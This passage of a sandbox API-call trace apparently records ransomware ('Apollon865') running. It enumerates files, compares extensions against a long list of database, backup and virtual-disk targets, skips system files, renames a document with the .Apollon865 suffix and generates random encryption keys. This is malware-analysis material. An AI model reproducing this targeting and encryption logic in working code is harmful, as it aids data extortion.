	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1
	[0088.943] lstrlenW (lpString="scx") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1
	[0088.943] lstrlenW (lpString="sdb") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1
	[0088.943] lstrlenW (lpString="sdc") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="sdc") returned -1
	[0088.943] lstrlenW (lpString="sdf") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1
	[0088.943] lstrlenW (lpString="sis") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1
	[0088.944] lstrlenW (lpString="spq") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1
	[0088.944] lstrlenW (lpString="te") returned 2
	[0088.944] lstrcmpiW (lpString1="cx", lpString2="te") returned -1
	[0088.944] lstrlenW (lpString="teacher") returned 7
	[0088.944] lstrcmpiW (lpString1="5s.docx", lpString2="teacher") returned -1
	[0088.944] lstrlenW (lpString="tmd") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1
	[0088.944] lstrlenW (lpString="tps") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1
	[0088.944] lstrlenW (lpString="trc") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0088.944] lstrlenW (lpString="trc") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0088.944] lstrlenW (lpString="trm") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1
	[0088.944] lstrlenW (lpString="udb") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1
	[0088.944] lstrlenW (lpString="udl") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1
	[0088.944] lstrlenW (lpString="usr") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1
	[0088.944] lstrlenW (lpString="v12") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1
	[0088.944] lstrlenW (lpString="vis") returned 3
	[0088.944] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1
	[0088.944] lstrlenW (lpString="vpd") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1
	[0088.945] lstrlenW (lpString="vvv") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1
	[0088.945] lstrlenW (lpString="wdb") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1
	[0088.945] lstrlenW (lpString="wmdb") returned 4
	[0088.945] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1
	[0088.945] lstrlenW (lpString="wrk") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1
	[0088.945] lstrlenW (lpString="xdb") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1
	[0088.945] lstrlenW (lpString="xld") returned 3
	[0088.945] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1
	[0088.945] lstrlenW (lpString="xmlff") returned 5
	[0088.945] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1
	[0088.945] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8I7BHAdnmVxOrQI5s.docx.Apollon865") returned 73
	[0088.945] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8I7BHAdnmVxOrQI5s.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8i7bhadnmvxorqi5s.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8I7BHAdnmVxOrQI5s.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8i7bhadnmvxorqi5s.docx.apollon865"), dwFlags=0x1) returned 1
	[0088.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8I7BHAdnmVxOrQI5s.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8i7bhadnmvxorqi5s.docx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.947] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=76058) returned 1
	[0088.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.948] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.949] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.949] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.949] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c20, lpName=0x0) returned 0x15c
	[0088.949] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c20) returned 0x120000
	[0088.952] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.953] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.953] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.954] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.955] CloseHandle (hObject=0x15c) returned 1
	[0088.955] CloseHandle (hObject=0x9c) returned 1
	[0088.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.958] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163140, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0xa5ca16d0, ftLastAccessTime.dwHighDateTime=0x1d4d0c0, ftLastWriteTime.dwLowDateTime=0xa5ca16d0, ftLastWriteTime.dwHighDateTime=0x1d4d0c0, nFileSizeHigh=0x0, nFileSizeLow=0x136c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ndHEujlA.pps", cAlternateFileName="8NDHEU~1.PPS")) returned 1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="Apollon865.txt.exe") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".") returned 1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="..") returned 1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="windows") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="bootmgr") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="temp") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="pagefile.sys") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="boot") returned -1
	[0088.958] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="ids.txt") returned -1
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="ntuser.dat") returned -1
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="perflogs") returned -1
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2="MSBuild") returned -1
	[0088.959] lstrlenW (lpString="8ndHEujlA.pps") returned 13
	[0088.959] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8I7BHAdnmVxOrQI5s.docx") returned 62
	[0088.959] lstrcpyW (in: lpString1=0x119e658, lpString2="8ndHEujlA.pps" | out: lpString1="8ndHEujlA.pps") returned="8ndHEujlA.pps"
	[0088.959] lstrlenW (lpString="8ndHEujlA.pps") returned 13
	[0088.959] lstrlenW (lpString="Apollon865") returned 10
	[0088.959] lstrcmpiW (lpString1="HEujlA.pps", lpString2="Apollon865") returned 1
	[0088.959] lstrlenW (lpString=".dll") returned 4
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".dll") returned 1
	[0088.959] lstrlenW (lpString=".lnk") returned 4
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".lnk") returned 1
	[0088.959] lstrlenW (lpString=".ini") returned 4
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".ini") returned 1
	[0088.959] lstrlenW (lpString=".sys") returned 4
	[0088.959] lstrcmpiW (lpString1="8ndHEujlA.pps", lpString2=".sys") returned 1
	[0088.959] lstrlenW (lpString="8ndHEujlA.pps") returned 13
	[0088.959] lstrlenW (lpString="bak") returned 3
	[0088.959] lstrcmpiW (lpString1="pps", lpString2="bak") returned 1
	[0088.959] lstrlenW (lpString="ba_") returned 3
	[0088.959] lstrcmpiW (lpString1="pps", lpString2="ba_") returned 1
	[0088.959] lstrlenW (lpString="dbb") returned 3
	[0088.959] lstrcmpiW (lpString1="pps", lpString2="dbb") returned 1
	[0088.959] lstrlenW (lpString="vmdk") returned 4
	[0088.959] lstrcmpiW (lpString1=".pps", lpString2="vmdk") returned -1
	[0088.959] lstrlenW (lpString="rar") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="rar") returned -1
	[0088.960] lstrlenW (lpString="zip") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="zip") returned -1
	[0088.960] lstrlenW (lpString="tgz") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="tgz") returned -1
	[0088.960] lstrlenW (lpString="vbox") returned 4
	[0088.960] lstrcmpiW (lpString1=".pps", lpString2="vbox") returned -1
	[0088.960] lstrlenW (lpString="vdi") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="vdi") returned -1
	[0088.960] lstrlenW (lpString="vhd") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="vhd") returned -1
	[0088.960] lstrlenW (lpString="vhdx") returned 4
	[0088.960] lstrcmpiW (lpString1=".pps", lpString2="vhdx") returned -1
	[0088.960] lstrlenW (lpString="avhd") returned 4
	[0088.960] lstrcmpiW (lpString1=".pps", lpString2="avhd") returned -1
	[0088.960] lstrlenW (lpString="db") returned 2
	[0088.960] lstrcmpiW (lpString1="ps", lpString2="db") returned 1
	[0088.960] lstrlenW (lpString="db2") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="db2") returned 1
	[0088.960] lstrlenW (lpString="db3") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="db3") returned 1
	[0088.960] lstrlenW (lpString="dbf") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="dbf") returned 1
	[0088.960] lstrlenW (lpString="mdf") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="mdf") returned 1
	[0088.960] lstrlenW (lpString="mdb") returned 3
	[0088.960] lstrcmpiW (lpString1="pps", lpString2="mdb") returned 1
	[0088.960] lstrlenW (lpString="sql") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="sql") returned -1
	[0088.961] lstrlenW (lpString="sqlite") returned 6
	[0088.961] lstrcmpiW (lpString1="lA.pps", lpString2="sqlite") returned -1
	[0088.961] lstrlenW (lpString="sqlite3") returned 7
	[0088.961] lstrcmpiW (lpString1="jlA.pps", lpString2="sqlite3") returned -1
	[0088.961] lstrlenW (lpString="sqlitedb") returned 8
	[0088.961] lstrcmpiW (lpString1="ujlA.pps", lpString2="sqlitedb") returned 1
	[0088.961] lstrlenW (lpString="xml") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="xml") returned -1
	[0088.961] lstrlenW (lpString="$er") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="$er") returned 1
	[0088.961] lstrlenW (lpString="4dd") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="4dd") returned 1
	[0088.961] lstrlenW (lpString="4dl") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="4dl") returned 1
	[0088.961] lstrlenW (lpString="^^^") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="^^^") returned 1
	[0088.961] lstrlenW (lpString="abs") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="abs") returned 1
	[0088.961] lstrlenW (lpString="abx") returned 3
	[0088.961] lstrcmpiW (lpString1="pps", lpString2="abx") returned 1
	[0088.961] lstrlenW (lpString="accdb") returned 5
	[0088.961] lstrcmpiW (lpString1="A.pps", lpString2="accdb") returned -1
	[0088.961] lstrlenW (lpString="accdc") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accdc") returned -1
	[0088.962] lstrlenW (lpString="accde") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accde") returned -1
	[0088.962] lstrlenW (lpString="accdr") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accdr") returned -1
	[0088.962] lstrlenW (lpString="accdt") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accdt") returned -1
	[0088.962] lstrlenW (lpString="accdw") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accdw") returned -1
	[0088.962] lstrlenW (lpString="accft") returned 5
	[0088.962] lstrcmpiW (lpString1="A.pps", lpString2="accft") returned -1
	[0088.962] lstrlenW (lpString="adb") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="adb") returned 1
	[0088.962] lstrlenW (lpString="adb") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="adb") returned 1
	[0088.962] lstrlenW (lpString="ade") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="ade") returned 1
	[0088.962] lstrlenW (lpString="adf") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="adf") returned 1
	[0088.962] lstrlenW (lpString="adn") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="adn") returned 1
	[0088.962] lstrlenW (lpString="adp") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="adp") returned 1
	[0088.962] lstrlenW (lpString="alf") returned 3
	[0088.962] lstrcmpiW (lpString1="pps", lpString2="alf") returned 1
	[0088.962] lstrlenW (lpString="ask") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="ask") returned 1
	[0088.963] lstrlenW (lpString="btr") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="btr") returned 1
	[0088.963] lstrlenW (lpString="cat") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="cat") returned 1
	[0088.963] lstrlenW (lpString="cdb") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="cdb") returned 1
	[0088.963] lstrlenW (lpString="ckp") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="ckp") returned 1
	[0088.963] lstrlenW (lpString="cma") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="cma") returned 1
	[0088.963] lstrlenW (lpString="cpd") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="cpd") returned 1
	[0088.963] lstrlenW (lpString="dacpac") returned 6
	[0088.963] lstrcmpiW (lpString1="lA.pps", lpString2="dacpac") returned 1
	[0088.963] lstrlenW (lpString="dad") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="dad") returned 1
	[0088.963] lstrlenW (lpString="dadiagrams") returned 10
	[0088.963] lstrcmpiW (lpString1="HEujlA.pps", lpString2="dadiagrams") returned 1
	[0088.963] lstrlenW (lpString="daschema") returned 8
	[0088.963] lstrcmpiW (lpString1="ujlA.pps", lpString2="daschema") returned 1
	[0088.963] lstrlenW (lpString="db-journal") returned 10
	[0088.963] lstrcmpiW (lpString1="HEujlA.pps", lpString2="db-journal") returned 1
	[0088.963] lstrlenW (lpString="db-shm") returned 6
	[0088.963] lstrcmpiW (lpString1="lA.pps", lpString2="db-shm") returned 1
	[0088.963] lstrlenW (lpString="db-wal") returned 6
	[0088.963] lstrcmpiW (lpString1="lA.pps", lpString2="db-wal") returned 1
	[0088.963] lstrlenW (lpString="dbc") returned 3
	[0088.963] lstrcmpiW (lpString1="pps", lpString2="dbc") returned 1
	[0088.964] lstrlenW (lpString="dbs") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dbs") returned 1
	[0088.964] lstrlenW (lpString="dbt") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dbt") returned 1
	[0088.964] lstrlenW (lpString="dbv") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dbv") returned 1
	[0088.964] lstrlenW (lpString="dbx") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dbx") returned 1
	[0088.964] lstrlenW (lpString="dcb") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dcb") returned 1
	[0088.964] lstrlenW (lpString="dct") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dct") returned 1
	[0088.964] lstrlenW (lpString="dcx") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dcx") returned 1
	[0088.964] lstrlenW (lpString="ddl") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="ddl") returned 1
	[0088.964] lstrlenW (lpString="dlis") returned 4
	[0088.964] lstrcmpiW (lpString1=".pps", lpString2="dlis") returned -1
	[0088.964] lstrlenW (lpString="dp1") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dp1") returned 1
	[0088.964] lstrlenW (lpString="dqy") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dqy") returned 1
	[0088.964] lstrlenW (lpString="dsk") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dsk") returned 1
	[0088.964] lstrlenW (lpString="dsn") returned 3
	[0088.964] lstrcmpiW (lpString1="pps", lpString2="dsn") returned 1
	[0088.964] lstrlenW (lpString="dtsx") returned 4
	[0088.964] lstrcmpiW (lpString1=".pps", lpString2="dtsx") returned -1
	[0088.964] lstrlenW (lpString="dxl") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="dxl") returned 1
	[0088.965] lstrlenW (lpString="eco") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="eco") returned 1
	[0088.965] lstrlenW (lpString="ecx") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="ecx") returned 1
	[0088.965] lstrlenW (lpString="edb") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="edb") returned 1
	[0088.965] lstrlenW (lpString="epim") returned 4
	[0088.965] lstrcmpiW (lpString1=".pps", lpString2="epim") returned -1
	[0088.965] lstrlenW (lpString="fcd") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fcd") returned 1
	[0088.965] lstrlenW (lpString="fdb") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fdb") returned 1
	[0088.965] lstrlenW (lpString="fic") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fic") returned 1
	[0088.965] lstrlenW (lpString="flexolibrary") returned 12
	[0088.965] lstrcmpiW (lpString1="ndHEujlA.pps", lpString2="flexolibrary") returned 1
	[0088.965] lstrlenW (lpString="fm5") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fm5") returned 1
	[0088.965] lstrlenW (lpString="fmp") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fmp") returned 1
	[0088.965] lstrlenW (lpString="fmp12") returned 5
	[0088.965] lstrcmpiW (lpString1="A.pps", lpString2="fmp12") returned -1
	[0088.965] lstrlenW (lpString="fmpsl") returned 5
	[0088.965] lstrcmpiW (lpString1="A.pps", lpString2="fmpsl") returned -1
	[0088.965] lstrlenW (lpString="fol") returned 3
	[0088.965] lstrcmpiW (lpString1="pps", lpString2="fol") returned 1
	[0088.965] lstrlenW (lpString="fp3") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="fp3") returned 1
	[0088.966] lstrlenW (lpString="fp4") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="fp4") returned 1
	[0088.966] lstrlenW (lpString="fp5") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="fp5") returned 1
	[0088.966] lstrlenW (lpString="fp7") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="fp7") returned 1
	[0088.966] lstrlenW (lpString="fpt") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="fpt") returned 1
	[0088.966] lstrlenW (lpString="frm") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="frm") returned 1
	[0088.966] lstrlenW (lpString="gdb") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="gdb") returned 1
	[0088.966] lstrlenW (lpString="gdb") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="gdb") returned 1
	[0088.966] lstrlenW (lpString="grdb") returned 4
	[0088.966] lstrcmpiW (lpString1=".pps", lpString2="grdb") returned -1
	[0088.966] lstrlenW (lpString="gwi") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="gwi") returned 1
	[0088.966] lstrlenW (lpString="hdb") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="hdb") returned 1
	[0088.966] lstrlenW (lpString="his") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="his") returned 1
	[0088.966] lstrlenW (lpString="ib") returned 2
	[0088.966] lstrcmpiW (lpString1="ps", lpString2="ib") returned 1
	[0088.966] lstrlenW (lpString="idb") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="idb") returned 1
	[0088.966] lstrlenW (lpString="ihx") returned 3
	[0088.966] lstrcmpiW (lpString1="pps", lpString2="ihx") returned 1
	[0088.967] lstrlenW (lpString="itdb") returned 4
	[0088.967] lstrcmpiW (lpString1=".pps", lpString2="itdb") returned -1
	[0088.967] lstrlenW (lpString="itw") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="itw") returned 1
	[0088.967] lstrlenW (lpString="jet") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="jet") returned 1
	[0088.967] lstrlenW (lpString="jtx") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="jtx") returned 1
	[0088.967] lstrlenW (lpString="kdb") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="kdb") returned 1
	[0088.967] lstrlenW (lpString="kexi") returned 4
	[0088.967] lstrcmpiW (lpString1=".pps", lpString2="kexi") returned -1
	[0088.967] lstrlenW (lpString="kexic") returned 5
	[0088.967] lstrcmpiW (lpString1="A.pps", lpString2="kexic") returned -1
	[0088.967] lstrlenW (lpString="kexis") returned 5
	[0088.967] lstrcmpiW (lpString1="A.pps", lpString2="kexis") returned -1
	[0088.967] lstrlenW (lpString="lgc") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="lgc") returned 1
	[0088.967] lstrlenW (lpString="lwx") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="lwx") returned 1
	[0088.967] lstrlenW (lpString="maf") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="maf") returned 1
	[0088.967] lstrlenW (lpString="maq") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="maq") returned 1
	[0088.967] lstrlenW (lpString="mar") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="mar") returned 1
	[0088.967] lstrlenW (lpString="marshal") returned 7
	[0088.967] lstrcmpiW (lpString1="jlA.pps", lpString2="marshal") returned -1
	[0088.967] lstrlenW (lpString="mas") returned 3
	[0088.967] lstrcmpiW (lpString1="pps", lpString2="mas") returned 1
	[0088.968] lstrlenW (lpString="mav") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mav") returned 1
	[0088.968] lstrlenW (lpString="maw") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="maw") returned 1
	[0088.968] lstrlenW (lpString="mdbhtml") returned 7
	[0088.968] lstrcmpiW (lpString1="jlA.pps", lpString2="mdbhtml") returned -1
	[0088.968] lstrlenW (lpString="mdn") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mdn") returned 1
	[0088.968] lstrlenW (lpString="mdt") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mdt") returned 1
	[0088.968] lstrlenW (lpString="mfd") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mfd") returned 1
	[0088.968] lstrlenW (lpString="mpd") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mpd") returned 1
	[0088.968] lstrlenW (lpString="mrg") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mrg") returned 1
	[0088.968] lstrlenW (lpString="mud") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mud") returned 1
	[0088.968] lstrlenW (lpString="mwb") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="mwb") returned 1
	[0088.968] lstrlenW (lpString="myd") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="myd") returned 1
	[0088.968] lstrlenW (lpString="ndf") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="ndf") returned 1
	[0088.968] lstrlenW (lpString="nnt") returned 3
	[0088.968] lstrcmpiW (lpString1="pps", lpString2="nnt") returned 1
	[0088.968] lstrlenW (lpString="nrmlib") returned 6
	[0088.968] lstrcmpiW (lpString1="lA.pps", lpString2="nrmlib") returned -1
	[0088.968] lstrlenW (lpString="ns2") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="ns2") returned 1
	[0088.969] lstrlenW (lpString="ns3") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="ns3") returned 1
	[0088.969] lstrlenW (lpString="ns4") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="ns4") returned 1
	[0088.969] lstrlenW (lpString="nsf") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="nsf") returned 1
	[0088.969] lstrlenW (lpString="nv") returned 2
	[0088.969] lstrcmpiW (lpString1="ps", lpString2="nv") returned 1
	[0088.969] lstrlenW (lpString="nv2") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="nv2") returned 1
	[0088.969] lstrlenW (lpString="nwdb") returned 4
	[0088.969] lstrcmpiW (lpString1=".pps", lpString2="nwdb") returned -1
	[0088.969] lstrlenW (lpString="nyf") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="nyf") returned 1
	[0088.969] lstrlenW (lpString="odb") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="odb") returned 1
	[0088.969] lstrlenW (lpString="odb") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="odb") returned 1
	[0088.969] lstrlenW (lpString="oqy") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="oqy") returned 1
	[0088.969] lstrlenW (lpString="ora") returned 3
